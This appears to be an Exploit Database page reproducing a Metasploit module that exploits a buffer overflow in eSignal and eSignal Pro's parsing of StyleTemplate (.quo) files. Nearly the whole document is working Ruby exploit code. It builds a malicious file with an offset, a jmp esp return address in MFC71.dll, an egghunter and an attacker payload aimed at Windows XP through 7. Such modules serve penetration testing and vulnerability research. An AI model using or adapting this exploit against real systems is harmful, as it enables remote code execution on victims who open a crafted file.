eSignal and eSignal Pro 10.6.2425.1208 – File Parsing Buffer Overflow in QUO (Metasploit)

• Exploit Database
• 101 阅读

• 作者： Metasploit
  日期： 2011-09-20
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17880/

• ##
  # $Id: esignal_styletemplate_bof.rb 13765 2011-09-20 17:39:53Z sinn3r $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::FILEFORMAT
  	include Msf::Exploit::Remote::Egghunter
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'eSignal and eSignal Pro <= 10.6.2425.1208 file parsing buffer overflow in QUO',
  			'Description'=> %q{
  				The software is unable to handle the "<StyleTemplate>" files (even
  				those original included in the program) like those with the registered
  				extensions QUO, SUM and POR. Successful exploitation of this vulnerability
  				may take up to several seconds due to the use of egghunter.Also, DEP
  				bypass is unlikely due to the limited space for payload.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'Luigi Auriemma',# Original discovery
  					'TecR0c <tecr0c[at]tecninja.net>', # msf
  					'mr_me <steventhomasseeley[at]gmai.com>',# msf
  				],
  			'Version' => '$Revision: 13765 $',
  			'References'=>
  				[
  					#[ 'CVE', '?' ],
  					#[ 'OSVDB', '?' ],
  					[ 'BID', '49600' ],
  					[ 'URL', 'http://aluigi.altervista.org/adv/esignal_1-adv.txt' ],
  					[ 'URL', 'http://www.exploit-db.com/exploits/17837/' ]
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  					'InitialAutoRunScript' => 'migrate -f',
  				},
  			'Platform' => 'win',
  			'Payload'=>
  				{
  					'Space'=> 1000,
  					'BadChars' => "\x00"
  				},
  
  			'Targets'=>
  				[
  					[
  						'Win XP SP3 / Windows Vista / Windows 7',
  						{
  							'Ret' =>0x7c206fef, # jmp esp MFC71.dll v10.6.2425.1208
  							'Offset'=>54
  						}
  					],
  				],
  			'Privileged'	 => false,
  			'DisclosureDate' => 'Sep 06 2011',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptString.new('FILENAME', [ false, 'The file name.', 'msf.quo']),
  			], self.class)
  
  	end
  
  	def exploit
  		eggoptions = 
  		{
  			:checksum => false,
  			:eggtag => 'eggz' 
  		}
  
  		hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
  
  		buffer =rand_text_alpha(target['Offset'])
  		buffer << [target.ret].pack('V')
  		buffer << rand_text_alpha_upper(4)
  		buffer << hunter
  		buffer << rand_text_alpha_upper(1500)
  		buffer << egg
  
  		file = "<StyleTemplate>\r\n"
  		file << "#{buffer}\r\n"
  		file << "</StyleTemplate>\r\n"
  
  		print_status("Creating '#{datastore['FILENAME']}' file ...")
  		file_create(file)
  	end
  end
  

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